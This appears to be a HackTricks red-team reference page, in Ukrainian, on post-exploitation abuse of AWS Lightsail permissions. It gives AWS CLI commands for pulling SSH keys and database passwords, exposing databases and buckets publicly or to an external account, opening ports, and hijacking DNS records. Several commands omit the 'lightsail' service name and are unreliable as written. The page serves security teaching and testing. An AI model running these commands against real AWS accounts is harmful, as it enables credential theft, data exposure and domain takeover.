AWS - Lightsail Privesc

Reading time: 5 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Lightsail

Для отримання додаткової інформації про Lightsail перегляньте:

AWS - Lightsail Enum

warning

Важливо зазначити, що Lightsail не використовує IAM ролі, що належать користувачу, а належать керованому обліковому запису AWS, тому ви не можете зловживати цим сервісом для підвищення привілеїв. Однак, чутливі дані, такі як код, API ключі та інформація про бази даних, можуть бути знайдені в цьому сервісі.

lightsail:DownloadDefaultKeyPair

Ця дозволена дія дозволить вам отримати SSH ключі для доступу до інстансів:

aws lightsail download-default-key-pair

Потенційний вплив: Знайти чутливу інформацію всередині інстансів.

lightsail:GetInstanceAccessDetails

Ця дозволена дія дозволить вам генерувати SSH-ключі для доступу до інстансів:

bash
aws lightsail get-instance-access-details --instance-name <instance_name>

Потенційний вплив: Знайти чутливу інформацію всередині інстансів.

lightsail:CreateBucketAccessKey

Ця дозволена дія дозволить вам отримати ключ для доступу до бакету:

bash
aws lightsail create-bucket-access-key --bucket-name <name>

Потенційний вплив: Знайти чутливу інформацію всередині бакету.

lightsail:GetRelationalDatabaseMasterUserPassword

Ця дозволяє отримати облікові дані для доступу до бази даних:

bash
aws lightsail get-relational-database-master-user-password --relational-database-name <name>

Потенційний вплив: Знайти чутливу інформацію в базі даних.

lightsail:UpdateRelationalDatabase

Ця дозволена дія дозволить вам змінити пароль для доступу до бази даних:

bash
aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>

Якщо база даних не є публічною, ви також можете зробити її публічною з цими дозволами з

bash
aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible

Потенційний вплив: Знайти чутливу інформацію в базі даних.

lightsail:OpenInstancePublicPorts

Ця дозволяє відкривати порти для Інтернету.

bash
aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22

Потенційний вплив: Доступ до чутливих портів.

lightsail:PutInstancePublicPorts

Ця дозволяє відкривати порти для Інтернету. Зверніть увагу, що виклик закриє будь-який порт, який не вказано в ньому.

bash
aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22

Потенційний вплив: Доступ до чутливих портів.

lightsail:SetResourceAccessForBucket

Ця дозволяє надати екземплярам доступ до кошика без додаткових облікових даних.

bash
aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow

Потенційний вплив: Потенційний новий доступ до бакетів з чутливою інформацією.

lightsail:UpdateBucket

З цією дозволом зловмисник може надати своєму обліковому запису AWS доступ на читання до бакетів або навіть зробити бакети загальнодоступними для всіх:

bash
# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>

# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true

# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true

Потенційний вплив: Потенційний новий доступ до бакетів з чутливою інформацією.

lightsail:UpdateContainerService

З цими правами атакуючий може надати доступ до приватних ECR з сервісу контейнерів.

bash
aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}

Потенційний вплив: Отримати чутливу інформацію з приватного ECR

lightsail:CreateDomainEntry

Зловмисник з цим дозволом може створити піддомен і вказати його на свою власну IP-адресу (взяття піддомену під контроль), або створити SPF запис, який дозволяє йому підробляти електронні листи з домену, або навіть вказати основний домен на свою власну IP-адресу.

bash
aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Потенційний вплив: Захоплення домену

lightsail:UpdateDomainEntry

Зловмисник з цим дозволом може створити піддомен і вказати його на свою власну IP-адресу (захоплення піддомену), або створити SPF запис, який дозволяє йому підробляти електронні листи з домену, або навіть встановити основний домен на свою власну IP-адресу.

bash
aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Потенційний вплив: Захоплення домену

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks